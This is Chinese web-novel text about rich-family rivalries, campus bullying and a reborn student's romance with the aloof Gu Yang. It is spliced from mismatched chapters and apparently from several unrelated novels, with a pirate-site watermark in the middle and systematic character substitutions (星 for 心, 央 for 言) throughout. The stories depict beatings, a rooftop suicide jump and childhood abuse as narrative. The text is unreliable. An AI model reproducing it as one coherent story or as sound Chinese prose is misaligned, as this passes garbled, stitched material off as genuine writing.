直到聂瑛从视线中彻底离去,宋引星紧绷的姿态才终于一点点放松下来。 他刚刚被几个人围殴,勉强没有单方面挨打已经是非常不容易,刚刚被用棍子狠砸了下的脑袋还有些隐隐犯晕,他勉强忍下不适的感觉,擦了下嘴角的血,然后看向面前的人。 静默了好几秒后,他才轻轻对他们说道:“谢谢。” 这已经不知道是第几次被他救了。 宋引星其实并不相信无缘无故的好意,因为他眼中的这个世界从来没有友善过。 但事实就是,他被不图回报地解围了一次又一次。 顾央的眼睛一眨没眨地看着他。 他的个子比宋引星矮了半个头,所以看人的时候需要抬起头。 宋引星看着那双灰蒙蒙的,跟雾一样的眼睛,看着他的脸上缓缓流露出一个笑容。 但只看眼睛,却是没有半点笑意的。 在这样近距离的观察之下,他才意识到了为什么会有这种感觉。 是眼部周围的肌肉没有动。 所以即使在笑,依然从骨子里透着股冷漠。 只是这个小小的发现,就让宋引星心里又一次泛起一股隐晦难言的感觉。 贺明安前脚刚到,就开口叫住了他们。宋引星一言不发地看着对方,眼中闪过几丝冷然的讽意。 丁子雨看着他的表情,止住了话头。 他知道扯这些是没有用的了,他直截了当地问道:“我可以给你钱。” “你到底要说什么?”宋引星冷淡地问道。 “少装了,你来观礼中学不就是为了补助金吗?你们家应该还挺缺钱的吧,我刚刚也看到了,你妈妈还和好几个人挤在一个病房里面。” 丁子雨急躁地说道:“我给你七十万,有了这笔钱,你的日子应该能够好受很多。” “但我有个条件,你得帮我去求顾央,让他……”丁子雨嘶哑地说道,“让他把我的退学处分给撤销掉。” 丁子雨是真觉得,只是把刘桦给逼到要跳楼闹不到这个地步,再怎么说对方不也还没出什么事吗? 要不是顾央突然横插一脚,他怎么也落不到要被观礼退学的地步。 宋引星沉默着,没有任何回应。 丁子雨心一横,咬牙说道:“一百万,我可以给你一百万,再多的我也拿不出来了。” 宋引星看着他的表情没有任何变化。 在这场较量中,丁子雨是注定要输的哪一个,他的心态先一步崩溃了:“我真的拿不出更多的钱了,我家里只松口给我这么多,就算是我求你了行不行。” “你要是不帮我求情的话,我就真的要被退学了。” 安静的楼梯口中,宋引星的面容在昏暗的灯光中显得无比晦暗:“你退不退学,和我有什么关系?” 丁子雨的神色扭曲了下:“你说呢?顾央和我无冤无仇的,他肯定是为了给你出气才故意这么说,你到底给他灌了什么迷魂汤?” “丁子雨。”宋引星不想在这场对话里将顾央给扯进来,“你自己做过了多少事情你自己清楚,你是记恨我没有帮你作弊,所以才故意拿聂瑛当刀使想要对付我,刘桦也被你…差点被你逼死。” 宋引星的眼前又闪过了刘桦从天台上一跃而下,重重砸在地面上面目全非的样子。 原本还没有从晕眩中恢复的后脑勺疼得更加厉害,他定了定神后说道:“这些都是你咎由自取。” “刘桦最后不是没死吗?谁知道他是不是故意作秀想要博同情?”丁子雨脸色难堪,“至于你,我承认,我是看你不爽,对你使过一些绊子,但你难道觉得这点事情就该让我退学吗?” 不知道是不是对方实在是太吵了,宋引星的头已经疼到快要炸裂的程度,他费力地看着丁子雨。 “你有没有想过,从观礼退学对我来说意味着什么?我的人生都要完蛋了,你是要毁了我吗?” 丁子雨越说越激动,脸色也越苍白。 他在家里本来就不受重视,只是因为他和顾家的两个少爷年纪差不多,他爸和他后妈才勉为其难地出钱让他来观礼读书,让他来钻营钻营人脉。 虽然顾央从来没有把他放在过心上,但他攀上了聂瑛,偶尔也能和顾清许见上一面,他在家里的处境才稍微好了点。 他都不敢想象,如果他就这么从观礼退学的话,等待着他的会是什么样的地狱。 丁子雨诘问他:“我又没有对你造成过什么实质性的伤害,你非要把我逼到这个地步吗?” 但他话音未落,就发现宋引星的脸色明显很不对劲了。 说不上究竟是怎么回事,就像是突然从一个漫长的梦魇中清醒过来,落在他身上的古怪的眼神,让丁子雨突然间有了想要后退的冲动。 但他没有退路了。 时间一分一秒地过去,但他就是没法从宋引星那里再听到哪怕一个字的回复。 心理最后的防线彻底瓦解,丁子雨的气息都不太稳定了,他颤抖地看着宋引星,然后缓缓地跪在了地上。 “我这样求你行不行?”丁子雨死死地盯着他,“就算是还了我要你给我舔鞋的那一次,算我真的求你了,放过我行不行?” 宋引星的耳边响起奇异的嗡鸣声,但他的头已经没有刚刚那么痛了。 看着以前那个趾高气昂令他厌恶的人跪在面前求他原谅,不知道为什么,他没有任何痛快的感觉。 他记得好清楚,每次那个男人没有钱了,都会这么跪在他妈妈的面前,痛哭流涕地求着要钱,说保证是最后一次了,以后一定会洗心革面好好做人。 从那个时候他就知道,动不动就要给别人下跪的人,反而是最可怕的。 宋引星已经不想再跟丁子雨纠缠了,他想要赶紧离开这里,只要看着那张脸,他心里就开始揪的厉害,气都喘不上来。 他总觉得,他们之间不仅仅发生了这么点事情。 见他转身离去,丁子雨急得连眼珠子上的红血丝都出来了。 完蛋了。 这下真的完蛋了。 聂瑛啧了一声,回过头去看他们:“怎么哪里都有你们?” “学校有严令规定,不许私下斗殴。” “你哪只眼睛看到我在斗殴。”聂瑛嗤笑一声,指了指身后的人,“我不就是旁观吗?你们说是不是?” “一班的刘玉,九班的周北还有四班的曹方。”贺明安扫了过去,一个一个点出了他们的名字,“你们在这里干什么?你们自己说。” 被点到名字的人顿时跟见了鬼一样,他们打死都想不到,一个年级几百人,贺明安到底是怎么记住的。 一时之间他们支支吾吾的,深怕被秋后算账。 聂瑛看着这群不中用的,不由地冷笑:“贺明安,我有时候真的不知道,你到底是站在哪一边的,我教训个穷酸鬼你也得管,你管得过来那么多事吗?” 这时,顾央幽幽地开口:“你自己不也是保姆的孩子吗?怎么好意思说别人的?” 端着中药进来的佣人见状赶忙去查看,却被他一巴掌甩开。 瓷碗砸在了地上,碎掉的声音惊动了就待在隔壁房间的陆夫人,她慌得连拖鞋都没有穿就跑了过去。 “然然,发生什么事了?” 陆然脸上的惊悸还没有消下去,他喘着气,神情恍惚地看着陆夫人。 陆夫人坐到床边抱住了他。 “是做噩梦了吗?好了好了不怕了,妈妈就在这里。”陆夫人一边轻轻地拍着陆然的背给他顺气,一边给了佣人个眼神让他出去。 “然然怎么了?是又发病了吗?”原本在书房处理公司事情的陆振兴也放下手头的文件过来看看情况,陆争跟在后面走进来,关上了门。 他们对于陆然的疼爱是毋庸置疑的,在要二胎的时候,公司的发展已经进入了平稳期,他们拥有了更多的时间去陪孩子,不用像大儿子那时基本需要交给保姆。 再加上这孩子从小就有哮喘,他们夫妻俩自然投入了更多的精力,连同当年没能给大儿子的那一份一起。 所以即使得知真相,他们也已经放不开了。 谢坞好奇地倾过去了身体:“感觉怎么样,大概是什么类型的?” “当时挺乱的,我没仔细注意。”贺明安不想多说。 “那个真少爷要半途转进我们学校,陆家肯定带他去班长他们家走了一趟,怎么可能一点印象都没有。”叶郴笑嘻嘻地说道,“估计是上不得什么台面吧,班长人好,都不好意思说了。” 贺明安没有理他。 谢坞倒是来了句:“叶郴,你不是一向看陆然不顺眼吗?有根现成的刺帮你去膈应人,你还不乐意了?” 叶郴扯了下嘴角:“得了吧,那个新来的也未必是什么好东西,他被陆然占了那么多年的位置,心里肯定怨气很大,以后可有乐子看了。” “说起来那个真少爷本来不是要进十一班吗?现在突然变成了十班,陆然本事还挺大的。” 叶郴说道:“那可不是嘛,养了那么多年,就算是养条狗也养出感情来了。” “好了,大家都是同学,别再说这件事了。”贺明安到底还是出口打断了他们。 这个话题总算揭过去了。 但叶郴还是蠢蠢欲动,他绕过桌子来到顾央面前,他们座位隔得很远,因此大家纷纷侧目,想看看这人又要搞什么事。 叶郴对上贺明安带着警告的眼神,他嘴角勾起一个笑容,看起来还挺纯良的。 “你上次不是发了我份病历,让我找个靠谱点的医生帮忙问问看吗?” 他弯下身,把手肘搭在了顾央肩膀上:“我帮你问过了,基本没救了。” “拖得实在太晚,已经错过了最佳治疗时期,你问的那个是你什么人啊?家里人怎么照顾的?” “你要不干脆就把他转进我家医院来,反正都这样了,起码能稍微舒服点,有一天算一天呗,专家的话也可以请进来。” “他没这个钱。” 就这一句话,叶郴心里已经有了答案,他脸上写满了好奇:“我说是谁呢,是不是跟十班那个特招生有关。” 顾央还没说话,余白突然间灵光一闪:“不会就是那个宋引星的妈妈吧?你那天还去了医院里探望诶。” 听到这句话,贺明安忍不住看了顾央一眼。 “你们都见家长了?”谢坞也好惊讶,“进展这么快。” 他们还没有忘记前几天听到的那一茬。 “是是是。” 第85章 十一班的教室里,所有人坐在自己的位置上,看起来都很忙,似乎有很多事情要做,但实际上也不知道到底在忙什么。 贺明安提前和他们说了声顾央今天要回来上课。 终于…… 虽然这期间也并没有隔多少天,但每次看到那个空空的位置时,他们就忍不住心里一紧。 如果回来上课的话,是不是就说明,起码在顾央心里,这一茬勉强算是揭过去了? 都已经过了这么多天了,他们心里还在摇摆纠结,等下见面时应该是假装无事发生,还是展开坦诚聊聊。 但以他们对顾央的了解,就算他们想装糊涂,对方也可能直接掀桌。 可如果要坦诚展开聊的话,他们又怕顾央原本已经平息下来了,又勾起新的火气。 这时,门外传来吱呀的一声响声。 顾央推门走了进来。 仅仅是几天没有见面,外表上自然不会有什么很大的改变,顾央将脑袋埋在围巾里面,露出的一小截脸冻得苍白,进来的时候整个人都带着外面的寒意。 班里一片沉默。 但其实内心慌得一批。 明明在心里演练过了无数遍,可人真的来到了面前,瞬间就有了种全部被打乱,想要缴械投降的感觉 “嗨,顾央,那什么……你回来了啊?”谢坞站起来的时候动作太急,膝盖铿一声撞到了桌底,他忍着痛尽量想用自然的语气打招呼。 顾央已经回到了自己的座位上放下书包,他冷淡地嗯了一声。 “啊,你可算回来了顾央。”有了谢坞的开头,余白也站起来,厚着脸皮蹭到顾央身边,“我还以为你感冒了。” 听到这话,顾央表情似笑非笑的:“我为什么不来,你们自己没点逼数吗?” 果然就会变成这样! 余白以身踩雷,为剩余人pass了选项A。 “那个啊,我交都交掉了。”顾央心不在焉地说道。 他早就把这个策划案外包给了余白,对方做好以后有问过需不需要改,但他懒得点开,就直接转给秘书了。 顾清许神色一敛,他没想到顾央居然没忘记这件事情,而且还真的做了一份。 “你要说的就是这个?”顾央见他没别的话,唇角上挑了下,露出了个很冷,还带着点不怀好意的笑容,“我还以为你又跟顾俞辉闹得不痛快,想要我来帮忙说点好话。” 顾清许被那个笑容给刺了下,他面色不太好地望着顾央,目光缓缓落到别在对方衣服上的那枚胸针。 整体被设计成了银质鸢尾花的形状,主石是一颗日落色的帕帕拉恰。 顾清许知道顾俞辉出差的时候在拍卖会上买了枚古董胸针。 就因为上次陆然耍性子,半道截走了顾央原本要拍下来的珠宝,小辈之间的小打小闹,也真亏顾俞辉还能关注到。 价格是不贵,但还真是有心了。 他脸上扯出一个皮笑肉不笑的表情。见他转身想要离去,顾清许漫不经心地开口:“顾央当年要养,家里就专门请了个保姆专门看着这只猫,开了每个月八千的工资。” 宋引星沉默,一提到那只猫,他就回想到了那天的场景。听到这里,程子时直接冷笑了出来。 陆然这个贱人。顾顾城一个机灵,对上顾烨不怒自威的眼神,从刚才想入非非的状态中缓了过来。 他干笑一声,就算顾央在宋引星那里再得脸又有什么用,这逆子不撺掇对方反过来给自己找麻烦已经是万幸了。 还不如好好扒牢顾烨。 “顾央是你的儿子,这件事你给我想办法,让他赶紧把那块地皮给我。” 顾烨习惯了发号施令,眼下直接用不容拒绝的语气说道。 纵使是顾顾城心里还有点没底,也只能硬着头皮答应下来。 在顾烨要离开之前,顾顾城赶紧招呼顾佳辛过来:“快去送送顾先生。” 他可不傻,自然知道顾烨对于他们家的照顾是因为谁。 哼,就算没有那个逆子,也不是什么问题。 顾佳辛原本心情就不太好,被在身后的手都已经把指甲扣进了掌心里。 但他也没办法,只能勉强挂上笑容过去。 他们从房里出来,走着走着,顾烨突然停了下来。 他看着顾佳辛,目光居然十分柔和,和平日里那副模样完全不同:“阿辛。” “这段时间,让你受委屈了。” 他无比心疼地看着顾佳辛头上还没能拆除的绷带,忍不住伸手摸上了对方的侧脸。 顾佳辛轻轻颤抖了下,但没有躲开,抬头望过去的眼中充满了哀伤。 “我不委屈,只是没有想到哥哥会怎么对我,我真的好难过。” 看着一向骄傲意气风发的少年露出这幅表情,顾烨心里更是不舒服。 不知怎么的,他突然间就想到了顾央。 那双漆黑的,总是带着笑意的眼睛,在兴奋的时候会微微放大,嘴角微微翘起,天真又带着莫名的邪性。 他突然感觉掌心都滚烫了起来,急急忙忙地收回:“这件事我会处理好的,你放心吧。” “天色也不早了,赶紧回去吧,我自己走就好。” 目送着顾烨离开以后,顾佳辛的脸色立刻沉了下来,他很不耐烦地啧了一声,用袖子狠狠地擦了下刚才被顾烨摸过的侧脸,然后重重往旁边的栏杆上踢了一下。 顾央,又是顾央那个杂种。 顾佳辛做了个深呼吸调整,往回家走后却看到母亲林念正在门口等他。 “怎么怎么快就回来了?没有跟顾先生多聊聊吗?”林念看到他,颇为失望地问道。 “有什么好聊的?”顾佳辛不耐烦地说道。 “你这孩子真是的,你明明知道,顾先生他对你……” 林念忍不住说道,但一想到这是自己孩子,还是拉不下脸把这事情挑这么明白。 顾佳辛忍住要翻白眼的冲动,他根本就不喜欢顾烨,但顾家的生意需要仰仗对方,他能够在父亲那里得脸,也都是因为顾烨的缘故。 所以就算再不喜欢,他也得拉下脸把戏做好了。 “算了,你这脾气也就是这样了。”林念嗔怪道,然后轻声说道,“反正,你是顾先生的救命恩人,你只要记住这一点就行了。” “你爸在等你,你快点进去吧。” 顾佳辛神色一顿,然后点头进去。 满地的狼藉已经被仆人收拾好了,顾顾城坐在沙发上,看着情绪也已经全部平复了下去。 “佳辛,过来做。” 顾顾城满脸地慈爱:“顾总离开之前有没有跟你说点什么?” “没有,他看着心情不太好,直接走了。” “哦,这样。”顾顾城也没说什么,“平时有事没事,多跟顾总聊聊,关心关心他,他平时对你一直都很照顾。” “嗯,我知道的,爸。” 聊了几句以后,顾顾城才切入了主题:“最近,顾央有没有来找过你?” 顾佳辛苦笑一声,又摸了下头上的绷带:“爸,你也知道的,我跟二哥那关系……” “虽然他对我有误会,但我还是想要和他修复关系,还特地带他去参加聚会。但聚会上他突然发疯,把我那几个朋友都打了一顿。” 顾顾城听得心里更加没底,他现在是真星疑,顾央是不是有什么精神上的疾病。 但他现在说句难听的,就是跟在顾烨后面捡吃的,所以再怎么样也要迎难而上。 “你二哥他其实心肠不坏,只是出次来到陌生环境里,一时间无法适应而已。” “这样,你找个时间,把他约出来,好好地谈一下,兄弟之间是没有隔夜仇的,然后让他赶紧回来,我和你妈妈都很想他。” 听顾顾城这一番话,顾佳辛牙齿都要咬碎了,但他偏偏还不能发脾气,只能装出个好儿子的模样笑着点头。 但回到房间以后,他彻底阴下了脸,化身桌面清理大师,将桌子上的东西全部砸到了地上。 顾央,居然让他向那个杂种低头。 简直是好的很。 高楼的旋转餐厅上,顾央漫不经心地戳着盘中的甜品。 他们坐在落地玻璃的边上,往下就可以看到宿清中心地段繁华的夜景。 这个高度搅得顾央根本吃不下东西。 顾书黎倒是比他预料中还要沉得住气一些。 直到这顿饭吃完以后,他才不紧不慢地用餐巾擦了下嘴,微笑着看向顾央。 “不知道嫂子把我约出来,是为了什么事。” 听到这个称呼,顾央干脆放下了手中的叉子,他抬头,看了对方一眼。 顾书黎的长相和气质在此时占了很大的优势,看着就是个还没有脱去稚气的男大学生,因此显得更加真诚,让人很难去星疑他的用意。 顾央站了起来,毫不拖泥带水就要离开。 他环视了周围一圈,陆家今天来的是陆争,并没有看到陆然。 这不正好了吗? 他们班里今天一共就来了眼前这四个。 贺明安不至于嚼舌根,齐乐程平时连话都不爱讲,而且齐明还是他爸…… 程子时脸色更黑。 对啊,齐明还有个年纪跟他一样大的儿子,怎么能没有节操到这个地步? 他现在都不敢看齐乐程了。 齐明看着程子时又冷笑又黑脸的样子,脸色也终于沉了下来。 好啊,原来不是故意的。 让他敬个酒还发起脾气来了,是不是最近太给他脸了? 这时,原本待在门外的经纪人赶紧走了进来,他诚惶诚恐地赔着笑脸:“实在是对不住了齐导,我们家子时才通宵拍完戏,但这孩子心实,一下戏就买了机票飞回来,现在状态可能有点不好。” 说着又一把压下了程子时的头去道歉。 这一套丝滑连招下来,齐明才终于有了个可以下来的台阶,他冷哼一声,但已经没了最开始的兴致:“既然状态这么不好,那也没必要继续待这里了,赶紧回去吧。” 经纪人看着齐明头也不回地直接离开了,剩下的话也没法说了,他沧桑地叹了口气,从喉咙里挤出声音问道:“程子时,我就一会没看住你,你怎么又捅出篓子了?” “你得罪了齐导知不知道?他本来都已经在筹划下一部戏了,里面已经有个角色要定给你了,这下倒好,全部都完了。” 见程子时完全没有任何危机感的表情,经纪人继续跟他掰扯,试图让他意识到问题的严重性:“别说是这一部戏了,万一齐导一直记着,以后可能都没指望了,说不定彻底把你拉进了黑名单里,知不知道?” “那可太好了……”程子时缓缓说道。 “你知道就好。”经纪人刚要欣慰点头,劝对方放下身段,“等等?你刚刚在说什么东西?” “对啊,这说不定还是件好事。”顾央在一旁凉嗖嗖地接话。 经纪人震惊地转过头,刚要开骂,但他认出了这是顾家的少爷,硬生生把嘴里的话憋了回去。 他们后面还有个顾家旗下公司的商务,不能开罪不能开罪。 经纪人默默念道,但还是忍不住蛐蛐。 这说的都是什么风凉话,还同班同学呢,就不能盼着点好的吗? 程子时一把推开了他操心过头的经纪人,然后将复杂的目光放在了顾央身上。 “你……” 他欲言又止,想问的话一堆,但没有一句能问得出口的,他明白问了就会露馅。 他一向是有话直讲惯了的,现在这情况差点没给他给憋死。 顾央抬眼,把程子时从头到尾地看了一遍。 程子时眉头一压,他最讨厌别人这么打量自己,就好像他是个什么货物一样。 经纪人心提到了嗓子眼,他最清楚自己家艺人是什么德行,就算是老板的儿子,让他看着不顺眼了也得原地开骂。 但还没等程子时发作,顾央已经再次开口:“你小心点齐明,他跟男的也可以。” 经纪人震撼地看向顾央。 程子时目光讶异。 他一直觉得顾央就是个我行我素的大少爷性格,对谁都不上心,贺明安都和他认识那么多年了,也没见得他有多在意。 但现在居然还愿意提点他这么一句。 这甚至让他诡异地有了种受宠若惊的感觉。 “嗯,我知道……”他顺嘴地就说了出来,但反应过来后,他想着这话也没暴露什么。 经纪人震撼的目光又落到程子时身上。 他一直觉得自己艺人资质虽好,但就是没什么混圈的觉悟,就连娱乐记者都照怼不误,回头又被腥风血雨地下了一堆黑稿。 他清清楚楚地听着旁边的管家用同样恭敬的声音说了声少爷好。 他看见那个男孩在他的对面坐下,盯着面前的牛排看了好久,终于拿起刀叉开始吃。 对方吃得很慢,吃相斯文优雅,用刀去切牛排的时候几乎没有发出什么声音,随后稍微低了下头,将银叉上的牛肉送入嘴中。 在低头的时候,对方浓密而纤长的眼睫会很明显地垂下去。 但即使他都已经看得这么明目张胆了,男孩却至始至终都没有分给过他一个眼神。 事后管家告诉他,刚才那位是顾总已故兄长的孩子,从辈分上来说算是他的堂兄。 那一瞬间,笼罩在他心头让他晦涩的阴影,重新舒朗了起来。 从那一顿饭开始,他正式地在顾家住了下来,顾家有两个孩子,那个灰色眼睛的男孩是大少爷,而他变成了二少爷。 他是一个领地意识非常强的人,顾俞辉只有他这么个儿子,顾家的一切以后自然都是他的。 所以他从来没有遮掩过自己的控制欲和主导权,在顾俞辉不在的时间里,一寸一寸地,将顾家的东西都打上了他的标记。 宋引星被人传话有人在找他,他抬起头,一下子就看到了站在外面的顾清许。 他表情冷漠。 他知道顾清许早晚都要找上他,但没想到居然会这么快,这才周一刚回来。 走出去后,他跟顾清许对视。 顾清许一只手插在衣兜里,另一只手靠在身后的栏杆上,姿态休闲舒展。 虽然是他找的人,但他并没有率先说话,只是从上到下将宋引星打量了一遍。 这种毫无客气可言的打量很容易让人不舒服,宋引星直接开口问道:“找我什么事情?” 顾清许就是在等着对方主动先问,他嘴角噙着笑意:“什么事?不妨你猜猜?” 宋引星想起了前世聂瑛和他说过一件事。 当时那个人渣用轻蔑的语气跟他编排,顾清许就是个被半道接回家的,连生母是谁都不知道,估计是相当上不得台面,不然明明顾家夫人的位置空悬着都还进不来。 少爷派头倒是摆了个足。 芝麻大点的事情还好意思在那里当什么显眼包。 弄得他又开始烦躁起来了。 他余光看向旁边空着的座位,聂瑛今天还是没有来。 也不知道他答应自己的事情做得怎么样了。 他又看向坐在前面的陆寂,根本压抑不住心里的恶意。 真碍眼,怎么不给他去死呢? 即将放学的时候,陆寂收到了一通电话。 备注是陆夫人。 他眼神晦暗,在铃声持续响了好几秒种之后,最终还是走出去接了电话。 电话铃声响起,那头传来温和而沙哑的声音,小心翼翼地喊了他一声。 “小寂……” 陆寂很轻地嗯了一声,没有后话。 陆夫人沉默了几秒,只能自己继续把话说下去:“之前你哥哥和爸爸给你打电话,怎么都没有接啊。” “没听到。” “噢,这样啊。”陆夫人连忙说道,“也是,你还在上学,没有听到也是正常的。” “小寂,我这次跟你打电话,是想着让你回来住。”也许是怕陆寂直接把电话给挂了,陆夫人语速快了点,“我问过了,你们学校的寝室是双人间,你还要跟另外一个人住在一起,肯定很不方便呀,还是在家里待得更好。” “没什么好不方便的,在这里起码没有人碍我的眼睛。”陆寂不冷不热地刺了一句。 那端的陆夫人轻轻地吸了口气。顾央话题跳得很快:“你的肩膀怎么样?” 陆寂试着转动了下:“还好,应该没什么大事,养几天就好了。” 幸亏那个黄毛就是个花架子,不然就这么一下,他肯定得打石膏了。 “我帮你看看吧。”他差点忘记了,还有顾央中间如同神来之笔的突然发挥。 那套说辞虽然听着有些离谱,但那个多日以前的转账记录却很好地弥补了这一点。 要不是没什么必要,他几乎都要怀疑,这件事情是顾央从很早开始就给丁子雨埋下的一个套。 他试探着伸手,慢慢地合上顾央的手掌。 好冰,他被顾央手掌心的温度刺了一下。 房间里不是开了暖气吗? 击掌完毕,顾央刚要收回了手,宋引星握住了他,有停顿了会后才有些艰涩地说道:“你刚刚在天台上……” 他想问的是,你刚刚在天台上是想干什么? 顾央的目光落到自己被抓住的手上面,眼睛一弯,又笑了起来。 宋引星已经好几次看到顾央的笑了。 “当然是在逗他玩呀。”顾央笑完了以后才说道,“你不会当真了吧。” “抱得那么紧,我都要喘不过气来了。”这句话轻浮又随意,弄得宋引星都不知道该怎么接话了。 宋引星突然发现了盲点:“那你为什么那时候刚好在天台上?” “补觉啊,昨晚没睡好,晨会又不许待在教室。” “这么冷的天,你在天台上面吹风睡觉。” “是的,我在模拟露宿街头的场景。” 虽然是问话,但顾央的手已经伸了上来。 陆寂瞬间僵住不敢动。声音在响,嘴巴没动,陆寂睁大了眼睛。 陆寂听得一愣一愣的。 这说的都是什么?同名同姓的人是在说他吗? 他还没给出反应,顾央已经继续往下想了。 想象中的疼痛并没有发生,陆寂有些惊讶,他甚至觉得顾央的手法还有点专业。 他忍不住问道:“你父母是医生吗?” “太好了,没什么事情。”顾央走到他的旁边轻声说道。 在心情的骤起骤落间,宋引星平复下心情后,回过了神来顾央刚刚说过的话。 他也不知道自己现在是什么样的表情,居然把顾央逼得往后推了一步:“你刚刚说的话,都是真的吗?” “你真的要答应我……” 顾央被逼得差点就要后退到墙上,他别过脸:“是啊,不行吗?” “不过有一个前提条件。” 宋引星一动不动地看着他。 顾央缓缓地竖起了一根手指,然后将宋引星的脑袋缓缓地戳开:“你先考上清北大学再说吧,不然这一切免谈。 宋引星表情有些迷茫,一时间没能反应过来前后的关联性。 “当然,如果你这就觉得做不到的话,现在放弃也不是不可以……” “做得到。”宋引星脱口而出。 清北大学本来就是他上一世失之交臂的遗憾,是他这辈子无论如何都要弥补的,为此,他即使是在不管什么样的情况下,都不断努力着复习刷题,希望自己的努力可以让他在这一次的高考中不再失望。 “那我们就拉钩吧。”顾央轻轻地伸出小指,勾上了宋引星的手指,“拉钩盖章。” 两边的拇指轻轻地碰撞到了一起。 “然后一切都等到高考结束后再说吧。”魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 【完结】 第86章 在经历完鸡飞狗跳的一个学期后,一切似乎慢慢地回归到了正轨上。 诸如撕逼大战,捉奸,狗血的家庭恩怨这类的事情慢慢从生活中淡去。 起码是回归了一群正常的高三学生该有的日常中,或备战高考,或申请海外学校。 这份平静的时光,一直持续到了高考那天为止。 学校门口满是来送考的家长,宋引星从公交车上下来时,炎热的暑气泼了他一眼。 他背着书包,看着这样的景象,难得地恍惚了一下。 上一世,也是同样的时间,他骑自行车前往考场,却在中途被混混拦下,逼到巷子里,还遭受了一顿毒打,右手骨折,就这么硬生生地无缘高考。 而这一次,他终于能够弥补遗憾。 在备考的期间,他从别人口中听到了聂瑛的消息,据说和聂闰华一起,被委以开拓海外市场的众人,派遣到了国外,连学籍都已经转了出去。 至于具体去了哪里,好像是一个名字很长很长,他头一次听闻的非洲小国。 简直比上一世的聂斯宇还要惨。 这么一去的话,就相当于正式地被踢出了聂氏集团的权力中心,以后也没有回来的可能了。 当时听完以后,他就将这个故事抛到了脑后,继续专心地刷题备考。 他不想再分精力给无所要紧的人了。 现在的聂瑛,对于他而言就是一个在故事中退场的人,当他心中最后的一点恨意也消散之后,才是真正的放下。 宋引星深吸了一口气,平复下起了波澜的内心,却在凝起视线的那一瞬间失神。 在一众人群中,他清楚地看到了顾央。 顾央也同样看到了他,对着他轻轻一笑。 宋引星小跑了几步上来,讶然地问道:“你怎么过来了?” 他记得顾央申请的是海外的学校,应该早就已经收到了offer,并且已经做好了选择。 他触碰过的花,顾一舟精心养护,他抬眸凝望过的飞檐,顾一舟每逢雨天都在檐下驻足停留。还有他使用过的杯盏,颂念过的经文,亲吻他星澎湃却克制的情愫…… 往事在冰冷星光中凋零,化作被车轮无情碾过的尘土,每一块砖瓦的缝隙之中,却仍旧残留着情浓星的温度。 他站在路的中间,像黑白画上一抹刺目的红。 来往的行人撞得他踉跄了一步,他却毫无知觉。 这回忆太过久远,久到夕阳的光晕将满目荒凉收缩成瞳孔中虚晃的倒影,这卷记忆的磁带也终于倒到了头。 陆岁寒迈开步子,走过稀稀落落的长街,与步履匆忙的人擦肩而过,走到了码头之上。 江边的风很凉。 岸上的人越来越少,夕阳渐渐沉入水平面,连绵的建筑群褪去锋芒,露出颓败的底色。 “涨潮了!涨潮了!回家了!”下船的渔民高声呼喝着。 “少爷,就快要涨潮了,咱们还是别在这儿逗留了。”随从劝道。 “嗯。”陆岁寒未多央,转头正要离去,却突然在码头前注意到一个熟悉的身影,步子就这么僵在了原地。 只有刻在骨子里的东西,才不会随星光遗忘。 顾一舟似乎消瘦了许多,可那根脊骨依旧挺得笔直,眉眼间风韵天成,更是这世上任何一人都模仿不来的。 刹那间的狂喜将陆岁寒吞没,他几乎是一瞬间就叫出了那个名字。 “一舟!” 他穿过来往的人群,焦急地呼唤着他日思夜想的人。 “一舟!” 似是听见这呼唤,那道熟悉的身影停下了步子,侧影在夕阳下被镀上了一层模糊的光晕,看上去是那么的不真实。 “一舟!”陆岁寒喃喃道,几乎不敢相信自己看到的,“真的是你……” “陆少爷,别来无恙。” 故人相见,本该有万千感慨,可顾一舟的声音却透着股凉薄,深入到陆岁寒的骨子里,让他遍体生冰。 恩怨太深,央语反倒显得苍白了。 三年,一千多个日夜,若细化到一分一秒,那么这煎熬未免太过漫长,漫长到他若能一个人熬过,便再不需要他了。 那陌生的称呼令陆岁寒全身一震。 这世上任何一个人都能如此称呼他,可是怎能是他呢? 那曾是他生命中最亲密的人。 在不曾相见的一千多个日夜里,他记得他们每一次的耳鬓厮磨,顾一舟克制又急促的喘息。 他唤他,岁寒。 态度亲昵,声音温软。 “我找了你很久……” “找我?”顾一舟重复了一遍,竟是淡淡笑了,“我身份低微,又有什么值得陆少爷挂念的呢?” 陆岁寒急了,上前拽住他的袖子:“一舟,你跟我走吧。过去种种是我不对,我会慢慢弥补给你,无论你变成什么样,我都愿意照顾你——” 触手可及的温热之下,一丝轻微的震颤。 顾一舟没有躲,只是平静地看着他,不卑不亢。 那神态依旧凉薄,却叫陆岁寒感到陌生,甚至产生了一丝怀疑:这真的是他一直苦寻的人吗? 自己真的了解过他吗? 不知不觉间,陆岁寒手中的力道松脱了。 “不嫌我清高了吗?”感觉到手腕间力道的微妙变化,顾一舟低眉,唇边绽开一抹讽刺的笑,讽刺之余却满是悲凉。 那笑容是尖刀,是伤人于无声的武器,将陆岁寒的决心一点一点碾碎。 陆岁寒怔怔望着他。 他曾经多么想看到顾一舟在他面前落魄不堪,他以为只要这样,神祇就会向他低头,会舍不得离开他,然后他就能施舍他、原谅他—— 可是傲骨宁折不弯。 他不再是光风霁月的顾一舟。 他也不再爱他了。 “一舟……”陆岁寒不甘心,“或许、或许我们可以重新开始……” “重新开始么?”顾一舟苦笑,“可是陆岁寒,你要的顾一舟从未存在于这世上。” 为什么还要找他呢? 为了…… 为了他过不去的良心吗? 陆岁寒心里一酸,竟是无法说出半个字反驳。 如果把他压在玻璃上,从外面去看…… 丁宴面色一变,差点抽自己一巴掌。 浴室门倏地被打开。 清香的湿热水汽扑了丁宴一脸,他一扭头,就看见穿着一件宽大的衬衫站在浴室门口。 顾央黑发潮湿,额前发丝滴下水珠,轻轻呼出一口气,他有些意外地看向表情明显不自然的丁宴,眉毛挑了一下,“怎么了吗?” “你……”丁宴似乎又被他气到了,忽然注意到什么,神色怪异:“你皮肤为什么忽然这么红?” 身上的皮肤红得有些不太正常,似乎是有人大力揉搓过。顾央愣了一下,“我一直是这么洗澡的。” “你洗澡洗这么用力?不怕把皮给搓坏?”丁宴神色一冷。 顾央也很意外:“戚珣教我的……” 他小时候,很多事情不太记得,都是戚珣教他的。比如洗澡的时候,必须用力一直将皮肤挫至泛红。如果他不洗这么用力,戚珣便会骂他脏。 可惜顾央是真的不记得很多东西了,因此他甚至没有意识到这其实是戚珣故意折磨他,反而将此当做常识。 他一开始还会因为疼掉几滴生理性泪水,后面习惯了,便都咬牙坚持了。 丁宴神色不太好看,过了好一会,才说:“这样是不对的,你以后……轻一点。” 